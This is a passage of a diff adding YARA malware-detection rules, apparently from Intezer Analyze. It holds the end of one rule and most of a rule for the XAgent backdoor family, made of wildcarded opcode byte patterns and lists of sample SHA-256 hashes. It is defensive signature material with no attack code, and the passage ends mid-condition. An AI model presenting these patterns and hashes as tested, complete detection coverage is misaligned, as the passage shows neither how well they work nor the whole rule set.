+		$block_86 = { 0F B6 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 3B ?? 7D }
+		$block_87 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 80 7? ?? ?? 89 ?? ?? 75 }
+		$block_88 = { 33 ?? B8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 86 }
+		$block_89 = { 33 ?? BA ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 86 }
+		$block_90 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 38 ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_93 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 83 ?? ?? 0F 85 }
+		$block_94 = { 8B ?? ?? 8D ?? ?? 8B ?? 5? 5? FF 5? ?? 85 ?? 0F 88 }
+		$block_95 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? 83 ?? ?? 0F 84 }
+		$block_96 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? 0F 83 }
+		$block_97 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_98 = { 8B ?? ?? 8B ?? ?? 8B ?? 0F B6 ?? ?? 83 ?? ?? 74 }
+		$block_99 = { 0F B7 ?? ?? 5? FF 1? ?? ?? ?? ?? 66 ?? ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "fc224a6cca956a59812a13e53ba08a279996ea2ee194fe20fb10170ca5c2db6a" or
+		hash.sha256(0, filesize) == "1289ee3d29967f491542c0bdeff6974aad6b37932e91ff9c746fb220d5edb407" or
+		hash.sha256(0, filesize) == "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44" or
+		hash.sha256(0, filesize) == "854a522a113b6413ff4db5f0ba0aec98cba3c5ef386311660f6dabab26f6aa14" or
+		hash.sha256(0, filesize) == "35a4ba765653f05de95f51cd2cc2898dafdb2a82d750f51dd892c160eaf7fcd9" or
+		hash.sha256(0, filesize) == "c6a9db52a3855d980a7f383dbe2fb70300a12b7a3a4f0a995e2ebdef769eaaca" or
+		hash.sha256(0, filesize) == "79f977c8f815c5910df382b920460fd6448103923f4dc128fc56fdf3867c47b1" or
+		hash.sha256(0, filesize) == "20bf23ec9f25639f0e41a844448ced8fc5eb74ca017ef7ea920bdf6123ef21bd" or
+		hash.sha256(0, filesize) == "1c8869abf756e77e1b6d7d0ad5ca8f1cdce1a111315c3703e212fb3db174a6d5" or
+		hash.sha256(0, filesize) == "d2e947a39714478983764b270985d2529ff682ffec9ebac792158353caf90ed3" or
+		hash.sha256(0, filesize) == "60ee6fdca66444bdc2e4b00dc67a1b0fdee5a3cd9979815e0aab9ce6435262c6" or
+		hash.sha256(0, filesize) == "e46b038a1e735c4bf9aab5b8610ff38fa19670daf0bace985511acfc3a497459" or
+		hash.sha256(0, filesize) == "a37eda810ca92486bfb0e1f1b27adb7c9df57aafab686c000ae1d6ec5d6f6180" or
+		hash.sha256(0, filesize) == "730a0e3daf0b54f065bdd2ca427fbe10e8d4e28646a5dc40cbcfb15e1702ed9a" or
+		hash.sha256(0, filesize) == "4dd8ab2471337a56b431433b7e8db2a659dc5d9dc5481b4209c4cddd07d6dc2b" or
+		hash.sha256(0, filesize) == "53262019782e1ede6c8b3a4cdfdfffed1fc9abb99a0a39ff193c585450fac044" or
+		hash.sha256(0, filesize) == "c5f8236e578a2b877fe538b2ef6f4aeceeb1b9cb73bba4d02fd368a5eb85cfab" or
+		hash.sha256(0, filesize) == "a979c5094f75548043a22b174aa10e1f2025371bd9e1249679f052b168e194b3" or
+		hash.sha256(0, filesize) == "40ae43b7d6c413becc92b07076fa128b875c8dbb4da7c036639eccf5a9fc784f" or
+		hash.sha256(0, filesize) == "d2a6064429754571682f475b6b67f36526f1573d846182aab3516c2637fa1e81" or
+		hash.sha256(0, filesize) == "86356fa5be88673bcf6f75e9d80d5bfd1a4e8aa621c3565442997e7af3dbded6" or
+		hash.sha256(0, filesize) == "8c488b029188e3280ed3614346575a4a390e0dda002bca08c0335210a6202949" or
+		hash.sha256(0, filesize) == "4845761c9bed0563d0aa83613311191e075a9b58861e80392914d61a21bad976" or
+		hash.sha256(0, filesize) == "e2a850aeffc9a466c77ca3e39fd3ee4f74d593583666aea5b014aa6c50ca7af8" or
+		hash.sha256(0, filesize) == "a2c9041ee1918523e67dbaf1c514f98609d4dbe451ba08657653bb41946fc89d" or
+		hash.sha256(0, filesize) == "be2e58669dbdec916f7aaaf4d7c55d866c4f38ac290812b10d680d943bb5b757" or
+		hash.sha256(0, filesize) == "cee41e51e82f5ea3cd318e6cb7e1e2218a7a86a2fbf8ffa566e4c5158bc6dd02" or
+		hash.sha256(0, filesize) == "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092" or
+		hash.sha256(0, filesize) == "688146426628260d32a6b4891d0900eab98c996e66018203d54270e2b76472b1" or
+		12 of them
+}
+
+rule XAgent {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B6 ?? ?? ?? ?? ?? 4B ?? ?? ?? 88 ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? 72 }
+		$block_2 = { 69 ?? ?? ?? ?? ?? 8D ?? ?? 48 ?? 49 ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? 81 F? ?? ?? ?? ?? 0F 8E }
+		$block_3 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_4 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? 8B ?? ?? 5? FF D? 84 ?? 0F 84 }
+		$block_5 = { 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 83 ?? ?? 49 ?? ?? 49 ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 75 }
+		$block_6 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 0F 10 ?? ?? ?? ?? ?? 0F 29 ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_8 = { 4C ?? ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 0F 1F }
+		$block_9 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 33 ?? 0F B6 ?? ?? ?? C1 ?? ?? 33 ?? 83 ?? ?? 33 ?? C7 }
+		$block_10 = { 5? 0F B6 ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
+		$block_11 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? 84 ?? 0F 84 }
+		$block_12 = { 8B ?? 8B ?? ?? 8B ?? FF D? 66 ?? ?? ?? 8A ?? ?? 88 ?? ?? 0F B6 ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_13 = { 48 ?? ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? 49 ?? ?? 49 ?? ?? 48 ?? ?? 4C ?? ?? 49 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 8B ?? 83 ?? ?? 8A ?? ?? 30 ?? ?? ?? 8B ?? ?? FE ?? 0F B6 ?? 83 ?? ?? 3B ?? 72 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 8B ?? 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 0F 86 }
+		$block_16 = { 8B ?? ?? 5? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_17 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 8B ?? ?? 2B ?? ?? 5? C1 ?? ?? 5? C6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? 66 ?? ?? ?? 0F B6 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_21 = { 2B ?? 8B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 87 }
+		$block_22 = { 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 0F B6 ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? 4D ?? ?? 84 ?? 74 }
+		$block_24 = { 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9? 0F B7 ?? ?? ?? 66 ?? ?? 75 }
+		$block_25 = { 8B ?? 8B ?? ?? 8D ?? ?? 5? 8B ?? FF D? 0F B6 ?? ?? 8D ?? ?? C6 ?? ?? ?? 39 ?? ?? 75 }
+		$block_26 = { 2B ?? 8B ?? B8 ?? ?? ?? ?? F7 ?? 03 ?? C1 ?? ?? 8B ?? C1 ?? ?? 03 ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 6A ?? 5? 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 4? 0F 84 }
+		$block_28 = { 8A ?? ?? 8B ?? ?? 2B ?? ?? FE ?? 88 ?? ?? 0F B6 ?? C1 ?? ?? 89 ?? ?? 3B ?? 0F 82 }
+		$block_29 = { 8D ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? ?? ?? FE ?? 8D ?? ?? ?? 01 ?? 0F B6 ?? 3B ?? 72 }
+		$block_30 = { 5? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? 0F 85 }
+		$block_33 = { 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_34 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 48 ?? ?? ?? 48 ?? ?? 74 }
+		$block_35 = { 45 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_36 = { 33 ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_37 = { 48 ?? ?? 48 ?? ?? FF 5? ?? 40 ?? ?? ?? 40 ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F 84 }
+		$block_38 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 84 ?? 0F 84 }
+		$block_39 = { 8A ?? ?? 8B ?? ?? FE ?? 0F B6 ?? 88 ?? ?? 8B ?? ?? 2B ?? C1 ?? ?? 3B ?? 72 }
+		$block_40 = { 66 ?? ?? 66 ?? ?? 0F B6 ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 88 ?? ?? 5? EB }
+		$block_41 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_42 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_43 = { 5? 8B ?? ?? ?? ?? ?? 03 ?? 6A ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 8B ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? 5? FF D? 5? FF D? 8B ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8A ?? ?? 8B ?? ?? 2B ?? ?? FE ?? 88 ?? ?? 0F B6 ?? C1 ?? ?? 3B ?? 0F 82 }
+		$block_46 = { 8B ?? ?? 2B ?? ?? 8B ?? ?? 0F B7 ?? BF ?? ?? ?? ?? C1 ?? ?? 3B ?? 0F 86 }
+		$block_47 = { 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 82 }
+		$block_48 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_49 = { 41 ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? 0F 82 }
+		$block_50 = { 33 ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_51 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? 5? FF D? 83 ?? ?? ?? 0F 82 }
+		$block_52 = { 45 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_53 = { 8B ?? ?? FF D? 8B ?? ?? 03 ?? 8B ?? 0F AF ?? 89 ?? ?? 89 ?? ?? E9 }
+		$block_54 = { 5? 8B ?? 8B ?? ?? 0F B7 ?? 5? 5? 5? 8B ?? 33 ?? 33 ?? 66 ?? ?? 74 }
+		$block_55 = { 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_56 = { 0F B7 ?? 8B ?? 81 E? ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_57 = { 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 66 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_58 = { 33 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? 39 ?? ?? 0F 82 }
+		$block_59 = { 48 ?? ?? ?? 48 ?? ?? 83 ?? ?? 0F B6 ?? ?? 30 ?? ?? 48 ?? ?? 75 }
+		$block_60 = { 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8D ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_62 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 40 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_65 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
+		$block_66 = { 41 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 83 }
+		$block_67 = { 85 ?? 0F 94 ?? 84 ?? 0F 94 ?? 48 ?? ?? ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 8B ?? 8B ?? ?? FF D? 66 ?? ?? 75 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? FF D? 0F B7 ?? 66 ?? ?? 74 }
+		$block_70 = { 8B ?? ?? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_71 = { 48 ?? ?? ?? 48 ?? ?? ?? 66 ?? ?? ?? 0F 95 ?? 66 ?? ?? ?? 74 }
+		$block_72 = { FE ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? 88 ?? 88 ?? 75 }
+		$block_73 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 2B ?? C1 ?? ?? 3B ?? 0F 83 }
+		$block_74 = { 0F B6 ?? ?? 8B ?? 5? 5? 33 ?? 33 ?? 89 ?? ?? 89 ?? ?? 8B }
+		$block_75 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_76 = { 2B ?? D1 ?? 5? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_77 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 0F 82 }
+		$block_78 = { 0F B6 ?? ?? 0F B6 ?? ?? ?? C1 ?? ?? 03 ?? C1 ?? ?? EB }
+		$block_79 = { 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 8B ?? 8B ?? ?? 66 ?? ?? ?? 0F 95 ?? 66 ?? ?? ?? ?? 74 }
+		$block_81 = { 5? 8B ?? 5? 8B ?? ?? 0F B7 ?? 33 ?? 33 ?? 66 ?? ?? 74 }
+		$block_82 = { 8D ?? ?? ?? ?? ?? ?? 8B ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_83 = { 0F B6 ?? ?? 8A ?? ?? FE ?? ?? 88 ?? ?? ?? ?? ?? ?? 75 }
+		$block_84 = { 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 86 }
+		$block_85 = { 4F ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 0F 85 }
+		$block_86 = { 48 ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? 84 ?? 0F 84 }
+		$block_87 = { 5? 8B ?? 5? 8B ?? ?? 5? 33 ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_88 = { 0F B7 ?? C1 ?? ?? 4? 03 ?? 0F B7 ?? ?? 66 ?? ?? 75 }
+		$block_89 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_90 = { 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_92 = { 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 0F 1F }
+		$block_93 = { 8B ?? ?? ?? ?? ?? 6A ?? FF D? 83 ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_95 = { 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 95 ?? 3A ?? 0F 85 }
+		$block_96 = { 0F BE ?? 0F B6 ?? FE ?? 4? 66 ?? ?? ?? 3C ?? 72 }
+		$block_97 = { 49 ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_98 = { 8B ?? ?? 8B ?? ?? 5? 5? C6 ?? ?? ?? ?? 5? C9 C3 }
+		$block_99 = { 48 ?? ?? ?? 4C ?? ?? 49 ?? ?? 41 ?? ?? ?? 0F 1F }
+
+	condition:
+		hash.sha256(0, filesize) == "bf28267386a010197a50b65f24e815aa527f2adbc53c609d2b2a4f999a639413" or
+		hash.sha256(0, filesize) == "fa908ee3822dbda90d3b378ea3c4354eef8a27259ea3fe69a86f18e94f8742a2" or
+		hash.sha256(0, filesize) == "596c486fabc8581f788fe27dcd24fddee8fd8cc484e6744db68a29fa5a804cf6" or
+		hash.sha256(0, filesize) == "f2287ddc1376c1ffbf6652d06d115a42e041df1976b321142c0f92dbdb96e82e" or
+		hash.sha256(0, filesize) == "82fc44696d1c5ddfdd5338fcafb6a9dcf7a0796235cd58184d05a2f388ed7e9e" or
+		hash.sha256(0, filesize) == "d0e019229493a1cfb3ffc918a2d8ffcbaee31f9132293c95b1f8c1fd6d595054" or
+		hash.sha256(0, filesize) == "b5413aab02e9076e7a62fe53826b16147c3fa4d47b073e334311184e39d9a71e" or
+		hash.sha256(0, filesize) == "e00eaf295a28f5497dbb5cb8f647537b6e55dd66613505389c24e658d150972c" or
+		hash.sha256(0, filesize) == "1daeacb30433f88c52f21f2d323dd3c6b556b3611d29a34c6c72e4a8e714f86a" or
+		hash.sha256(0, filesize) == "261b0a5912965ea95b8ae02aae1e761a61f9ad3a9fb85ef781e62013d6a21368" or
+		hash.sha256(0, filesize) == "dd8facad6c0626b6c94e1cc891698d4982782a5564aae696a218c940b7b8d084" or
+		hash.sha256(0, filesize) == "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592" or
+		hash.sha256(0, filesize) == "fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5" or
+		hash.sha256(0, filesize) == "a0749f75ec464a86acd146a825d6ddf1c351f290860fe7bf6a47ce4fb2a085f1" or
+		hash.sha256(0, filesize) == "69691bc9ff36ccb46c2acef50edc393996a4c42bc6e9a86976050b9eff83dc00" or
+		hash.sha256(0, filesize) == "07393ac2e890772f70adf9e8d3aa07ab2f98e2726e3be275276dadd00daf5fc6" or
+		hash.sha256(0, filesize) == "1a09ce8a9210d2530d6ce1d59bfae2ac617ac89558cdcdcac15392d176e70c8d" or
+		hash.sha256(0, filesize) == "32717c2876f5622a562d548b55e09657f453b40d7aeb15bb738c789a4c4ee61d" or
+		hash.sha256(0, filesize) == "0abda721c4f1ca626f5d8bd2ce186aa98b197ca68d53e81cf152c32230345071" or
+		hash.sha256(0, filesize) == "a5b68575ac4fbe83c23ff991ad0d5389f51a2aef71ee3c2277985c68361cf1cc" or
+		hash.sha256(0, filesize) == "cee85e2fd2ca34a2f90bce9b50c400fe4fd14b536fd0ff26c0c3a9aad6e1904a" or
+		hash.sha256(0, filesize) == "45a872495dae7805bb537bc7a37a9bd604bf48b26496dbe35f4e13e200bad6a2" or
+		hash.sha256(0, filesize) == "2b6e280b4ff000dc0926d9586a8b3710697ed95112b2e465660e6409823e6bad" or
+		hash.sha256(0, filesize) == "3d13f2e5b241168005425b15410556bcf26d04078da6b2ef42bc0c2be7654bf8" or
+		hash.sha256(0, filesize) == "4182821d00485cbc5628bbdc41a76e8a956142021f6682549559d04636a17a3f" or
+		hash.sha256(0, filesize) == "b814fdbb7cfe6e5192fe1126835b903354d75bfb15a6c262ccc2caf13a8ce4b6" or
+		hash.sha256(0, filesize) == "8554e0894babf3c743b66aa2a07f9aa99893be131824ec72835b9fb11e0aeb39" or
+		hash.sha256(0, filesize) == "715f69916db9ff8fedf6630307f4ebb84aae6653fd0e593036517c5040d84dbe" or
+		hash.sha256(0, filesize) == "4096a8c13d6c492d9204cb11c294bb64b04a7636ca1e6257c2ae431d0c385cc2" or
+		hash.sha256(0, filesize) == "9ead4bc59075215f8e474d790cef4aa8dbc35815c7339011b956ecce6a84ff47" or
+		hash.sha256(0, filesize) == "7a5cb45a3efcebbf49e18c4b2397dc2bdff039d9127a8119abe4c2f85a85e1f0" or
+		hash.sha256(0, filesize) == "8a80c2f8dbffa1f2763547aac332746afb85b47f977780485d17d7eb2ea187b7" or
+		hash.sha256(0, filesize) == "608a428b7c7f32726b8239725fb7b7a7760b750ea89e2d66fa966b0797ea614e" or
+		hash.sha256(0, filesize) == "94c220653ea7421c60e3eafd753a9ae9d69b475d61230f2f403789d326309c24" or
+		hash.sha256(0, filesize) == "001d65185910ae8cd9e7e2472745e593be62b98eae3f5f2266a29c37e56daa1d" or
+		hash.sha256(0, filesize) == "b23193bff95c4e65af0c9848036eb80ef006503a78be842e921035f8d77eb5de" or
+		hash.sha256(0, filesize) == "52bf280be543485434945074ebc3d1e4f2ab15c0286c7a063c33ea39786a77e1" or
+		hash.sha256(0, filesize) == "b4f755c91c2790f4ab9bac4ee60725132323e13a2688f3d8939ae9ed4793d014" or
+		hash.sha256(0, filesize) == "dea3a99388e9c962de9ea1008ff35bc2dc66f67a911451e7b501183e360bb95e" or
+		hash.sha256(0, filesize) == "24e11c80f1d4c1e9db654d54cc784db6b5f4a126f9fe5e26c269fdc4009c8f29" or
+		hash.sha256(0, filesize) == "225e94f198bdfcf7550dc30881654f192e460dce88fe927fad8c5adb149eed25" or
+		hash.sha256(0, filesize) == "fc2dbfda41860b2385314c87e81f1ebb4f9ae1106b697e019841d8c3bf402570" or
+		hash.sha256(0, filesize) == "b8fd23432d615c451b0845a7d7b9b17b371da06627d390f501ca1fd58f9d1ac2" or
+		hash.sha256(0, filesize) == "8646a5330f516adce0c05ad019cf041cf79c1ca069048c3f8db94dcbdb00c408" or
+		hash.sha256(0, filesize) == "99d3f03fc6f048c74e58da6fb7ea1e831ba31d58194ad2463a7a6cd55da5f96b" or
+		hash.sha256(0, filesize) == "d11dcf98d78c8281fc7f4affc30a798d6fd7cb0fbdbd9daa8f004fbcd1deee28" or
+		hash.sha256(0, filesize) == "f97f2985ff599e073156e37cbd34024067680072ac18f9d2040c64eedbe38e4f" or
+		hash.sha256(0, filesize) == "858e7a7223d6ed91cfa89f5cae013f9a450d13cdc7adb1963072d6eb6cbad513" or
+		hash.sha256(0, filesize) == "c7661b27a06a3a8c471fbb060ab8cab25fa9546e0a4c5c1101fe8098b2ad11e9" or
+		hash.sha256(0, filesize) == "68065abd6482405614d245537600ea60857c6ec9febac4870486b5227589d35c" or
+		hash.sha256(0, filesize) == "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb" or
+		hash.sha256(0, filesize) == "e031299fa1381b40c660b8cd831bb861654f900a1e2952b1a76bedf140972a81" or
+		hash.sha256(0, filesize) == "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1" or
+		hash.sha256(0, filesize) == "c19d266af9e33dae096e45e7624ab3a3f642c8de580e902fec9dac11bcb8d3fd" or
+		hash.sha256(0, filesize) == "8925aa5c9e912236f265f3d3f95b9fa8bbfd8dec1e381f168309056b23995d4c" or
+		hash.sha256(0, filesize) == "b1800cb1d4b755e05b0fca251b8c6da96bb85f8042f2d755b7f607cbeef58db8" or
+		hash.sha256(0, filesize) == "88a5377f829e45ed89767e2e4aaee853e587eb202528c963802893108b70fe3f" or
+		hash.sha256(0, filesize) == "e1b1143c0003c6905227df37d40aacbaecc2be8b9d86547650fe11bd47ca6989" or
+		hash.sha256(0, filesize) == "1228e9066819f115e8b2a6c1b75352566a6a5dc002d9d36a8c5b47758c9f6a45" or
+		hash.sha256(0, filesize) == "2d11e8d81bf776d668355ed15a596193d4bb10a42289ddb3223c1227b042d854" or
+		hash.sha256(0, filesize) == "1e6a0e542dcddec9d937c111c3ea6670e08c6606f869444d0702ec7f1363bff1" or
+		hash.sha256(0, filesize) == "bebe0be0cf8349706b2feb789572e035955209d5bf5d5fea0e5d29a7fbfdc7c4" or
+		hash.sha256(0, filesize) == "e2bea753318d715dfc2f186c49ae3e9c404d0f5df52e959ea546f78a3624bc3b" or
+		hash.sha256(0, filesize) == "9f06b3c694c8b398e2f47e98590a94d5daefbebfb5426fb3c99eb34aecb536b8" or
+		hash.sha256(0, filesize) == "0356f5fa9907ea060a7d6964e65f019896deb1c7e303b7ba04da1458dc73a842" or
+		hash.sha256(0, filesize) == "9a527274f99865a7d70487fe22e62f692f8b239d6cb80816b919734c7c741584" or
+		hash.sha256(0, filesize) == "c488f4946612c13601a1bed48fce0733645ae3ab5fda03395383160d44bde964" or
